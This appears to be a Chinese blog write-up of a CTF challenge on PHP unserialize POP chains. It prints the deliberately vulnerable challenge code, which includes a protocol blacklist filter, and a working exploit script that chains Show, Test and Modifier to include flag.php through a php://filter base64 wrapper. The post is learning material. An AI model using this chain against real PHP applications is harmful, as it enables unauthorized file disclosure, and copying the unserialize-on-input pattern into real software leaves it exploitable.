2020.10.14

最近开始努力提高代码能力

题目代码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

分析pop链

从目标逆向分析触发条件

结论

根据以上分析,可以得出我们要构造一个Show类,这个类中的属性source也是一个show类,source下的属性str是一个Test类,且Test类中的p是一个Modifier类

exp

<?php

class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
} class Show{
public $source;
public $str;
public function __construct($file){
$this->source=$file;
}
} class Test{
public $p;
public function __construct(){
$this->p=new Modifier();
}
} $s=new Show("");
$s->str=new Test();
$a=new Show($s);
echo urlencode(serialize($a));//为了便于在url中传输,我们将结果编码成url形式



base64解码后

依然存在的疑问

exp中的类是对比好几个师傅的wp试出来的,但是为什么要把str=new Test()放在show类中source下,为什么source属性依然要是show类不是很清楚

最新文章

  1. java 在循环中删除数组元素
  2. 学习微信小程序之css2
  3. salesforce 零基础开发入门学习(八)数据分页简单制作
  4. 从Paxos到ZooKeeper-三、ZooKeeper的典型应用场景
  5. Mac 系统下将普通文件变为可执行文件
  6. [转载]word尾注插入参考文献——前人经验+自己总结
  7. 数组去重算法,quickSort
  8. [总结] Stack: Java V.S. C++
  9. English - 英文写作中的最常见“十大句式”
  10. SQL Server Log文件对磁盘的写操作大小是多少
  11. Openjudge-计算概论(A)-完美立方
  12. 一步一步学Vue(二)
  13. IO流大总结
  14. bootstrap学习1
  15. day 47 htm-part2
  16. CentOS7配置samba服务
  17. 蚂蚁金服首席数据科学家漆远:AI技术开放,与业界融合共创
  18. new int
  19. Elasticsearch的数据导出和导入操作(elasticdump工具),以及删除指定type的数据(delete-by-query插件)
  20. 在windows上通过ssh远程链接linux服务器[转]

热门文章

  1. Camtasia处理音频制作BGM
  2. Happen-Before规则
  3. 惠州发布5G任务计划表,将出台智慧灯杆建设计划与技术规范
  4. zk特性
  5. Java多线程中的wait/notify通信模式
  6. java47
  7. 题解 洛谷 P3396 【哈希冲突】(根号分治)
  8. model基础操作
  9. jenkins.war
  10. PyQt(Python+Qt)学习随笔:自定义信号在emit发射信号时报错:AttributeError: object has no attribute